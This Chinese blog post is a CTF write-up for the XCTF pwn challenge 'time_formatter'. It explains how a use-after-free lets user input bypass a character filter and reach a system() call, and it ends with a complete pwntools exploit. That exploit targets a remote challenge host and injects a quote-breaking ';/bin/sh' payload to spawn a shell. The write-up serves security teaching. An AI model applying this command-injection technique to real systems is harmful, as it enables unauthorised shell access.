欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

time_formatter(xctf)

程序员文章站 2022-05-15 20:18:03
...

0x0 程序保护和流程

保护:

time_formatter(xctf)

流程:

main()

time_formatter(xctf)

选择1可以设置时间格式,选择2可以设置时间,选择3可以设置时区,选择4可以打印时间,选择5可以退出程序。

可以看到再选择4的时候使用了snprintf函数构造了一个命令字符串,然后再交由system函数执行相应的命令。

time_formatter(xctf)

ptr在选择1中被赋值。

time_formatter(xctf)

并且ptr所指向的内存空间中的字符串不能含有除**%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^#** 之外的字符。

time_formatter(xctf)

最后进入选择5。

time_formatter(xctf)

发现程序在退出之前将ptr和value这两个全局变量给free掉了,这两个变量分别在选择1和选择3中使用了同一个函数调用strdup函数进行赋值,又因为strdup函数内部包含了malloc函数,因此存在UAF漏洞。

0x1 利用过程

1.在shell中的同一行中要想两条命令分别执行有两种方法:1.使用**&&连接 2.使用;连接。但是在第一种方法下只有当&&之前的命令执行成功后才能执行后一条命令,而;**不受限制。

2.在shell中单引号包含住的表示字符串,所以可以将构造command字符串进行改造。再使用一对单引号与原来字符串中的单引号进行匹配。之后再在其中加上分号和想要执行的命令。

/bin/date -d @%d +'';/bin/sh'' #先执行/bin/date -d @%d +''; 再执行/bin/sh''

3.因为ptr所指向的内存空间中的字符串有限制。所以需要通过UAF完成利用。因为选择1和选择3输入字符串的方式都是一样的所以可以先给ptr赋值,之后通过exit将ptr指向的内存空间释放,然后再选择3中给ptr执行的内存空间赋值,而这次赋值没有字符限制。

0x2 exp

from pwn import *
sh=remote('220.249.52.133','40605')
# sh=process('./a')

sh.sendlineafter("> ",str(1))
sh.sendline("test")
sh.sendlineafter("> ",str(5))
sh.sendlineafter("Are you sure you want to exit (y/N)? ","N")
sh.sendlineafter("> ",str(3))
sh.sendline("';/bin/sh'")
sh.sendlineafter(">", str(4))
sh.interactive()
相关标签: xctf(pwn高手区)